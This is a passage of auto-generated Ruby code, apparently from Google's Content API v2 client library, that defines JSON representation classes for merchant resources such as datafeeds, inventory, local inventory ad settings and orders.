property :account_tax, as: 'accountTax', class: Google::Apis::ContentV2::AccountTax, decorator: Google::Apis::ContentV2::AccountTax::Representation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
end
end
class ListAccountTaxResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::AccountTax, decorator: Google::Apis::ContentV2::AccountTax::Representation
end
end
class Amount
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :pretax, as: 'pretax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :tax, as: 'tax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
end
end
class BusinessDayConfig
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :business_days, as: 'businessDays'
end
end
class CarrierRate
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :carrier_name, as: 'carrierName'
property :carrier_service, as: 'carrierService'
property :flat_adjustment, as: 'flatAdjustment', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :name, as: 'name'
property :origin_postal_code, as: 'originPostalCode'
property :percentage_adjustment, as: 'percentageAdjustment'
end
end
class CarriersCarrier
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :name, as: 'name'
collection :services, as: 'services'
end
end
class CustomAttribute
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :type, as: 'type'
property :unit, as: 'unit'
property :value, as: 'value'
end
end
class CustomGroup
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :attributes, as: 'attributes', class: Google::Apis::ContentV2::CustomAttribute, decorator: Google::Apis::ContentV2::CustomAttribute::Representation
property :name, as: 'name'
end
end
class CustomerReturnReason
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :description, as: 'description'
property :reason_code, as: 'reasonCode'
end
end
class CutoffTime
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :hour, as: 'hour'
property :minute, as: 'minute'
property :timezone, as: 'timezone'
end
end
class Datafeed
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :attribute_language, as: 'attributeLanguage'
property :content_language, as: 'contentLanguage'
property :content_type, as: 'contentType'
property :fetch_schedule, as: 'fetchSchedule', class: Google::Apis::ContentV2::DatafeedFetchSchedule, decorator: Google::Apis::ContentV2::DatafeedFetchSchedule::Representation
property :file_name, as: 'fileName'
property :format, as: 'format', class: Google::Apis::ContentV2::DatafeedFormat, decorator: Google::Apis::ContentV2::DatafeedFormat::Representation
property :id, :numeric_string => true, as: 'id'
collection :intended_destinations, as: 'intendedDestinations'
property :kind, as: 'kind'
property :name, as: 'name'
property :target_country, as: 'targetCountry'
collection :targets, as: 'targets', class: Google::Apis::ContentV2::DatafeedTarget, decorator: Google::Apis::ContentV2::DatafeedTarget::Representation
end
end
class DatafeedFetchSchedule
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :day_of_month, as: 'dayOfMonth'
property :fetch_url, as: 'fetchUrl'
property :hour, as: 'hour'
property :minute_of_hour, as: 'minuteOfHour'
property :password, as: 'password'
property :paused, as: 'paused'
property :time_zone, as: 'timeZone'
property :username, as: 'username'
property :weekday, as: 'weekday'
end
end
class DatafeedFormat
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :column_delimiter, as: 'columnDelimiter'
property :file_encoding, as: 'fileEncoding'
property :quoting_mode, as: 'quotingMode'
end
end
class DatafeedStatus
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
property :datafeed_id, :numeric_string => true, as: 'datafeedId'
collection :errors, as: 'errors', class: Google::Apis::ContentV2::DatafeedStatusError, decorator: Google::Apis::ContentV2::DatafeedStatusError::Representation
property :items_total, :numeric_string => true, as: 'itemsTotal'
property :items_valid, :numeric_string => true, as: 'itemsValid'
property :kind, as: 'kind'
property :language, as: 'language'
property :last_upload_date, as: 'lastUploadDate'
property :processing_status, as: 'processingStatus'
collection :warnings, as: 'warnings', class: Google::Apis::ContentV2::DatafeedStatusError, decorator: Google::Apis::ContentV2::DatafeedStatusError::Representation
end
end
class DatafeedStatusError
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :code, as: 'code'
property :count, :numeric_string => true, as: 'count'
collection :examples, as: 'examples', class: Google::Apis::ContentV2::DatafeedStatusExample, decorator: Google::Apis::ContentV2::DatafeedStatusExample::Representation
property :message, as: 'message'
end
end
class DatafeedStatusExample
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :item_id, as: 'itemId'
property :line_number, :numeric_string => true, as: 'lineNumber'
property :value, as: 'value'
end
end
class DatafeedTarget
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
collection :excluded_destinations, as: 'excludedDestinations'
collection :included_destinations, as: 'includedDestinations'
property :language, as: 'language'
end
end
class BatchDatafeedsRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::DatafeedsBatchRequestEntry, decorator: Google::Apis::ContentV2::DatafeedsBatchRequestEntry::Representation
end
end
class DatafeedsBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :datafeed, as: 'datafeed', class: Google::Apis::ContentV2::Datafeed, decorator: Google::Apis::ContentV2::Datafeed::Representation
property :datafeed_id, :numeric_string => true, as: 'datafeedId'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
end
end
class BatchDatafeedsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::DatafeedsBatchResponseEntry, decorator: Google::Apis::ContentV2::DatafeedsBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class DatafeedsBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :datafeed, as: 'datafeed', class: Google::Apis::ContentV2::Datafeed, decorator: Google::Apis::ContentV2::Datafeed::Representation
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
end
end
class DatafeedsFetchNowResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class ListDatafeedsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::Datafeed, decorator: Google::Apis::ContentV2::Datafeed::Representation
end
end
class BatchDatafeedStatusesRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::DatafeedStatusesBatchRequestEntry, decorator: Google::Apis::ContentV2::DatafeedStatusesBatchRequestEntry::Representation
end
end
class DatafeedStatusesBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :country, as: 'country'
property :datafeed_id, :numeric_string => true, as: 'datafeedId'
property :language, as: 'language'
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :request_method, as: 'method'
end
end
class BatchDatafeedStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::DatafeedStatusesBatchResponseEntry, decorator: Google::Apis::ContentV2::DatafeedStatusesBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class DatafeedStatusesBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :datafeed_status, as: 'datafeedStatus', class: Google::Apis::ContentV2::DatafeedStatus, decorator: Google::Apis::ContentV2::DatafeedStatus::Representation
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
end
end
class ListDatafeedStatusesResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::DatafeedStatus, decorator: Google::Apis::ContentV2::DatafeedStatus::Representation
end
end
class DeliveryTime
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :cutoff_time, as: 'cutoffTime', class: Google::Apis::ContentV2::CutoffTime, decorator: Google::Apis::ContentV2::CutoffTime::Representation
property :handling_business_day_config, as: 'handlingBusinessDayConfig', class: Google::Apis::ContentV2::BusinessDayConfig, decorator: Google::Apis::ContentV2::BusinessDayConfig::Representation
collection :holiday_cutoffs, as: 'holidayCutoffs', class: Google::Apis::ContentV2::HolidayCutoff, decorator: Google::Apis::ContentV2::HolidayCutoff::Representation
property :max_handling_time_in_days, as: 'maxHandlingTimeInDays'
property :max_transit_time_in_days, as: 'maxTransitTimeInDays'
property :min_handling_time_in_days, as: 'minHandlingTimeInDays'
property :min_transit_time_in_days, as: 'minTransitTimeInDays'
property :transit_business_day_config, as: 'transitBusinessDayConfig', class: Google::Apis::ContentV2::BusinessDayConfig, decorator: Google::Apis::ContentV2::BusinessDayConfig::Representation
property :transit_time_table, as: 'transitTimeTable', class: Google::Apis::ContentV2::TransitTable, decorator: Google::Apis::ContentV2::TransitTable::Representation
end
end
class Error
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :domain, as: 'domain'
property :message, as: 'message'
property :reason, as: 'reason'
end
end
class Errors
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :code, as: 'code'
collection :errors, as: 'errors', class: Google::Apis::ContentV2::Error, decorator: Google::Apis::ContentV2::Error::Representation
property :message, as: 'message'
end
end
class GmbAccounts
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
collection :gmb_accounts, as: 'gmbAccounts', class: Google::Apis::ContentV2::GmbAccountsGmbAccount, decorator: Google::Apis::ContentV2::GmbAccountsGmbAccount::Representation
end
end
class GmbAccountsGmbAccount
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :email, as: 'email'
property :listing_count, :numeric_string => true, as: 'listingCount'
property :name, as: 'name'
property :type, as: 'type'
end
end
class Headers
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :locations, as: 'locations', class: Google::Apis::ContentV2::LocationIdSet, decorator: Google::Apis::ContentV2::LocationIdSet::Representation
collection :number_of_items, as: 'numberOfItems'
collection :postal_code_group_names, as: 'postalCodeGroupNames'
collection :prices, as: 'prices', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
collection :weights, as: 'weights', class: Google::Apis::ContentV2::Weight, decorator: Google::Apis::ContentV2::Weight::Representation
end
end
class HolidayCutoff
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :deadline_date, as: 'deadlineDate'
property :deadline_hour, as: 'deadlineHour'
property :deadline_timezone, as: 'deadlineTimezone'
property :holiday_id, as: 'holidayId'
property :visible_from_date, as: 'visibleFromDate'
end
end
class HolidaysHoliday
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country_code, as: 'countryCode'
property :date, as: 'date'
property :delivery_guarantee_date, as: 'deliveryGuaranteeDate'
property :delivery_guarantee_hour, :numeric_string => true, as: 'deliveryGuaranteeHour'
property :id, as: 'id'
property :type, as: 'type'
end
end
class Installment
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :amount, as: 'amount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :months, :numeric_string => true, as: 'months'
end
end
class Inventory
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :availability, as: 'availability'
property :custom_label0, as: 'customLabel0'
property :custom_label1, as: 'customLabel1'
property :custom_label2, as: 'customLabel2'
property :custom_label3, as: 'customLabel3'
property :custom_label4, as: 'customLabel4'
property :installment, as: 'installment', class: Google::Apis::ContentV2::Installment, decorator: Google::Apis::ContentV2::Installment::Representation
property :instore_product_location, as: 'instoreProductLocation'
property :kind, as: 'kind'
property :loyalty_points, as: 'loyaltyPoints', class: Google::Apis::ContentV2::LoyaltyPoints, decorator: Google::Apis::ContentV2::LoyaltyPoints::Representation
property :pickup, as: 'pickup', class: Google::Apis::ContentV2::InventoryPickup, decorator: Google::Apis::ContentV2::InventoryPickup::Representation
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, as: 'quantity'
property :sale_price, as: 'salePrice', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :sale_price_effective_date, as: 'salePriceEffectiveDate'
property :sell_on_google_quantity, as: 'sellOnGoogleQuantity'
end
end
class BatchInventoryRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::InventoryBatchRequestEntry, decorator: Google::Apis::ContentV2::InventoryBatchRequestEntry::Representation
end
end
class InventoryBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :inventory, as: 'inventory', class: Google::Apis::ContentV2::Inventory, decorator: Google::Apis::ContentV2::Inventory::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :product_id, as: 'productId'
property :store_code, as: 'storeCode'
end
end
class BatchInventoryResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::InventoryBatchResponseEntry, decorator: Google::Apis::ContentV2::InventoryBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class InventoryBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :kind, as: 'kind'
end
end
class InventoryPickup
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :pickup_method, as: 'pickupMethod'
property :pickup_sla, as: 'pickupSla'
end
end
class SetInventoryRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :availability, as: 'availability'
property :custom_label0, as: 'customLabel0'
property :custom_label1, as: 'customLabel1'
property :custom_label2, as: 'customLabel2'
property :custom_label3, as: 'customLabel3'
property :custom_label4, as: 'customLabel4'
property :installment, as: 'installment', class: Google::Apis::ContentV2::Installment, decorator: Google::Apis::ContentV2::Installment::Representation
property :instore_product_location, as: 'instoreProductLocation'
property :loyalty_points, as: 'loyaltyPoints', class: Google::Apis::ContentV2::LoyaltyPoints, decorator: Google::Apis::ContentV2::LoyaltyPoints::Representation
property :pickup, as: 'pickup', class: Google::Apis::ContentV2::InventoryPickup, decorator: Google::Apis::ContentV2::InventoryPickup::Representation
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :quantity, as: 'quantity'
property :sale_price, as: 'salePrice', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :sale_price_effective_date, as: 'salePriceEffectiveDate'
property :sell_on_google_quantity, as: 'sellOnGoogleQuantity'
end
end
class SetInventoryResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class InvoiceSummary
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :additional_charge_summaries, as: 'additionalChargeSummaries', class: Google::Apis::ContentV2::InvoiceSummaryAdditionalChargeSummary, decorator: Google::Apis::ContentV2::InvoiceSummaryAdditionalChargeSummary::Representation
property :customer_balance, as: 'customerBalance', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :google_balance, as: 'googleBalance', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :merchant_balance, as: 'merchantBalance', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :product_total, as: 'productTotal', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
collection :promotion_summaries, as: 'promotionSummaries', class: Google::Apis::ContentV2::Promotion, decorator: Google::Apis::ContentV2::Promotion::Representation
end
end
class InvoiceSummaryAdditionalChargeSummary
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :total_amount, as: 'totalAmount', class: Google::Apis::ContentV2::Amount, decorator: Google::Apis::ContentV2::Amount::Representation
property :type, as: 'type'
end
end
class LiaAboutPageSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :status, as: 'status'
property :url, as: 'url'
end
end
class LiaCountrySettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :about, as: 'about', class: Google::Apis::ContentV2::LiaAboutPageSettings, decorator: Google::Apis::ContentV2::LiaAboutPageSettings::Representation
property :country, as: 'country'
property :hosted_local_storefront_active, as: 'hostedLocalStorefrontActive'
property :inventory, as: 'inventory', class: Google::Apis::ContentV2::LiaInventorySettings, decorator: Google::Apis::ContentV2::LiaInventorySettings::Representation
property :on_display_to_order, as: 'onDisplayToOrder', class: Google::Apis::ContentV2::LiaOnDisplayToOrderSettings, decorator: Google::Apis::ContentV2::LiaOnDisplayToOrderSettings::Representation
property :pos_data_provider, as: 'posDataProvider', class: Google::Apis::ContentV2::LiaPosDataProvider, decorator: Google::Apis::ContentV2::LiaPosDataProvider::Representation
property :store_pickup_active, as: 'storePickupActive'
end
end
class LiaInventorySettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :inventory_verification_contact_email, as: 'inventoryVerificationContactEmail'
property :inventory_verification_contact_name, as: 'inventoryVerificationContactName'
property :inventory_verification_contact_status, as: 'inventoryVerificationContactStatus'
property :status, as: 'status'
end
end
class LiaOnDisplayToOrderSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :shipping_cost_policy_url, as: 'shippingCostPolicyUrl'
property :status, as: 'status'
end
end
class LiaPosDataProvider
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :pos_data_provider_id, :numeric_string => true, as: 'posDataProviderId'
property :pos_external_account_id, as: 'posExternalAccountId'
end
end
class LiaSettings
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
collection :country_settings, as: 'countrySettings', class: Google::Apis::ContentV2::LiaCountrySettings, decorator: Google::Apis::ContentV2::LiaCountrySettings::Representation
property :kind, as: 'kind'
end
end
class LiasettingsCustomBatchRequest
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::LiasettingsCustomBatchRequestEntry, decorator: Google::Apis::ContentV2::LiasettingsCustomBatchRequestEntry::Representation
end
end
class LiasettingsCustomBatchRequestEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
property :batch_id, as: 'batchId'
property :contact_email, as: 'contactEmail'
property :contact_name, as: 'contactName'
property :country, as: 'country'
property :gmb_email, as: 'gmbEmail'
property :lia_settings, as: 'liaSettings', class: Google::Apis::ContentV2::LiaSettings, decorator: Google::Apis::ContentV2::LiaSettings::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :method_prop, as: 'method'
property :pos_data_provider_id, :numeric_string => true, as: 'posDataProviderId'
property :pos_external_account_id, as: 'posExternalAccountId'
end
end
class LiasettingsCustomBatchResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :entries, as: 'entries', class: Google::Apis::ContentV2::LiasettingsCustomBatchResponseEntry, decorator: Google::Apis::ContentV2::LiasettingsCustomBatchResponseEntry::Representation
property :kind, as: 'kind'
end
end
class LiasettingsCustomBatchResponseEntry
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :batch_id, as: 'batchId'
property :errors, as: 'errors', class: Google::Apis::ContentV2::Errors, decorator: Google::Apis::ContentV2::Errors::Representation
property :gmb_accounts, as: 'gmbAccounts', class: Google::Apis::ContentV2::GmbAccounts, decorator: Google::Apis::ContentV2::GmbAccounts::Representation
property :kind, as: 'kind'
property :lia_settings, as: 'liaSettings', class: Google::Apis::ContentV2::LiaSettings, decorator: Google::Apis::ContentV2::LiaSettings::Representation
collection :pos_data_providers, as: 'posDataProviders', class: Google::Apis::ContentV2::PosDataProviders, decorator: Google::Apis::ContentV2::PosDataProviders::Representation
end
end
class LiasettingsGetAccessibleGmbAccountsResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :account_id, :numeric_string => true, as: 'accountId'
collection :gmb_accounts, as: 'gmbAccounts', class: Google::Apis::ContentV2::GmbAccountsGmbAccount, decorator: Google::Apis::ContentV2::GmbAccountsGmbAccount::Representation
property :kind, as: 'kind'
end
end
class LiasettingsListPosDataProvidersResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
collection :pos_data_providers, as: 'posDataProviders', class: Google::Apis::ContentV2::PosDataProviders, decorator: Google::Apis::ContentV2::PosDataProviders::Representation
end
end
class LiasettingsListResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
property :next_page_token, as: 'nextPageToken'
collection :resources, as: 'resources', class: Google::Apis::ContentV2::LiaSettings, decorator: Google::Apis::ContentV2::LiaSettings::Representation
end
end
class LiasettingsRequestGmbAccessResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class LiasettingsRequestInventoryVerificationResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class LiasettingsSetInventoryVerificationContactResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class LiasettingsSetPosDataProviderResponse
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :kind, as: 'kind'
end
end
class LocationIdSet
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :location_ids, as: 'locationIds'
end
end
class LoyaltyPoints
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :name, as: 'name'
property :points_value, :numeric_string => true, as: 'pointsValue'
property :ratio, as: 'ratio'
end
end
class MerchantOrderReturn
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :creation_date, as: 'creationDate'
property :merchant_order_id, as: 'merchantOrderId'
property :order_id, as: 'orderId'
property :order_return_id, as: 'orderReturnId'
collection :return_items, as: 'returnItems', class: Google::Apis::ContentV2::MerchantOrderReturnItem, decorator: Google::Apis::ContentV2::MerchantOrderReturnItem::Representation
collection :return_shipments, as: 'returnShipments', class: Google::Apis::ContentV2::ReturnShipment, decorator: Google::Apis::ContentV2::ReturnShipment::Representation
end
end
class MerchantOrderReturnItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :customer_return_reason, as: 'customerReturnReason', class: Google::Apis::ContentV2::CustomerReturnReason, decorator: Google::Apis::ContentV2::CustomerReturnReason::Representation
property :item_id, as: 'itemId'
property :merchant_return_reason, as: 'merchantReturnReason', class: Google::Apis::ContentV2::RefundReason, decorator: Google::Apis::ContentV2::RefundReason::Representation
property :product, as: 'product', class: Google::Apis::ContentV2::OrderLineItemProduct, decorator: Google::Apis::ContentV2::OrderLineItemProduct::Representation
collection :return_shipment_ids, as: 'returnShipmentIds'
property :state, as: 'state'
end
end
class Order
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :acknowledged, as: 'acknowledged'
property :channel_type, as: 'channelType'
property :customer, as: 'customer', class: Google::Apis::ContentV2::OrderCustomer, decorator: Google::Apis::ContentV2::OrderCustomer::Representation
property :delivery_details, as: 'deliveryDetails', class: Google::Apis::ContentV2::OrderDeliveryDetails, decorator: Google::Apis::ContentV2::OrderDeliveryDetails::Representation
property :id, as: 'id'
property :kind, as: 'kind'
collection :line_items, as: 'lineItems', class: Google::Apis::ContentV2::OrderLineItem, decorator: Google::Apis::ContentV2::OrderLineItem::Representation
property :merchant_id, :numeric_string => true, as: 'merchantId'
property :merchant_order_id, as: 'merchantOrderId'
property :net_amount, as: 'netAmount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :payment_method, as: 'paymentMethod', class: Google::Apis::ContentV2::OrderPaymentMethod, decorator: Google::Apis::ContentV2::OrderPaymentMethod::Representation
property :payment_status, as: 'paymentStatus'
property :pickup_details, as: 'pickupDetails', class: Google::Apis::ContentV2::OrderPickupDetails, decorator: Google::Apis::ContentV2::OrderPickupDetails::Representation
property :placed_date, as: 'placedDate'
collection :promotions, as: 'promotions', class: Google::Apis::ContentV2::OrderLegacyPromotion, decorator: Google::Apis::ContentV2::OrderLegacyPromotion::Representation
collection :refunds, as: 'refunds', class: Google::Apis::ContentV2::OrderRefund, decorator: Google::Apis::ContentV2::OrderRefund::Representation
collection :shipments, as: 'shipments', class: Google::Apis::ContentV2::OrderShipment, decorator: Google::Apis::ContentV2::OrderShipment::Representation
property :shipping_cost, as: 'shippingCost', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :shipping_cost_tax, as: 'shippingCostTax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :shipping_option, as: 'shippingOption'
property :status, as: 'status'
property :tax_collector, as: 'taxCollector'
end
end
class OrderAddress
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :country, as: 'country'
collection :full_address, as: 'fullAddress'
property :is_post_office_box, as: 'isPostOfficeBox'
property :locality, as: 'locality'
property :postal_code, as: 'postalCode'
property :recipient_name, as: 'recipientName'
property :region, as: 'region'
collection :street_address, as: 'streetAddress'
end
end
class OrderCancellation
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :actor, as: 'actor'
property :creation_date, as: 'creationDate'
property :quantity, as: 'quantity'
property :reason, as: 'reason'
property :reason_text, as: 'reasonText'
end
end
class OrderCustomer
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :email, as: 'email'
property :explicit_marketing_preference, as: 'explicitMarketingPreference'
property :full_name, as: 'fullName'
property :invoice_receiving_email, as: 'invoiceReceivingEmail'
property :marketing_rights_info, as: 'marketingRightsInfo', class: Google::Apis::ContentV2::OrderCustomerMarketingRightsInfo, decorator: Google::Apis::ContentV2::OrderCustomerMarketingRightsInfo::Representation
end
end
class OrderCustomerMarketingRightsInfo
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :explicit_marketing_preference, as: 'explicitMarketingPreference'
property :last_updated_timestamp, as: 'lastUpdatedTimestamp'
property :marketing_email_address, as: 'marketingEmailAddress'
end
end
class OrderDeliveryDetails
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :address, as: 'address', class: Google::Apis::ContentV2::OrderAddress, decorator: Google::Apis::ContentV2::OrderAddress::Representation
property :phone_number, as: 'phoneNumber'
end
end
class OrderLegacyPromotion
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :benefits, as: 'benefits', class: Google::Apis::ContentV2::OrderLegacyPromotionBenefit, decorator: Google::Apis::ContentV2::OrderLegacyPromotionBenefit::Representation
property :effective_dates, as: 'effectiveDates'
property :generic_redemption_code, as: 'genericRedemptionCode'
property :id, as: 'id'
property :long_title, as: 'longTitle'
property :product_applicability, as: 'productApplicability'
property :redemption_channel, as: 'redemptionChannel'
end
end
class OrderLegacyPromotionBenefit
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :discount, as: 'discount', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
collection :offer_ids, as: 'offerIds'
property :sub_type, as: 'subType'
property :tax_impact, as: 'taxImpact', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :type, as: 'type'
end
end
class OrderLineItem
# @private
class Representation < Google::Apis::Core::JsonRepresentation
collection :annotations, as: 'annotations', class: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation, decorator: Google::Apis::ContentV2::OrderMerchantProvidedAnnotation::Representation
collection :cancellations, as: 'cancellations', class: Google::Apis::ContentV2::OrderCancellation, decorator: Google::Apis::ContentV2::OrderCancellation::Representation
property :id, as: 'id'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :product, as: 'product', class: Google::Apis::ContentV2::OrderLineItemProduct, decorator: Google::Apis::ContentV2::OrderLineItemProduct::Representation
property :quantity_canceled, as: 'quantityCanceled'
property :quantity_delivered, as: 'quantityDelivered'
property :quantity_ordered, as: 'quantityOrdered'
property :quantity_pending, as: 'quantityPending'
property :quantity_ready_for_pickup, as: 'quantityReadyForPickup'
property :quantity_returned, as: 'quantityReturned'
property :quantity_shipped, as: 'quantityShipped'
property :return_info, as: 'returnInfo', class: Google::Apis::ContentV2::OrderLineItemReturnInfo, decorator: Google::Apis::ContentV2::OrderLineItemReturnInfo::Representation
collection :returns, as: 'returns', class: Google::Apis::ContentV2::OrderReturn, decorator: Google::Apis::ContentV2::OrderReturn::Representation
property :shipping_details, as: 'shippingDetails', class: Google::Apis::ContentV2::OrderLineItemShippingDetails, decorator: Google::Apis::ContentV2::OrderLineItemShippingDetails::Representation
property :tax, as: 'tax', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
end
end
class OrderLineItemProduct
# @private
class Representation < Google::Apis::Core::JsonRepresentation
property :brand, as: 'brand'
property :channel, as: 'channel'
property :condition, as: 'condition'
property :content_language, as: 'contentLanguage'
collection :fees, as: 'fees', class: Google::Apis::ContentV2::OrderLineItemProductFee, decorator: Google::Apis::ContentV2::OrderLineItemProductFee::Representation
property :gtin, as: 'gtin'
property :id, as: 'id'
property :image_link, as: 'imageLink'
property :item_group_id, as: 'itemGroupId'
property :mpn, as: 'mpn'
property :offer_id, as: 'offerId'
property :price, as: 'price', class: Google::Apis::ContentV2::Price, decorator: Google::Apis::ContentV2::Price::Representation
property :shown_image, as: 'shownImage'
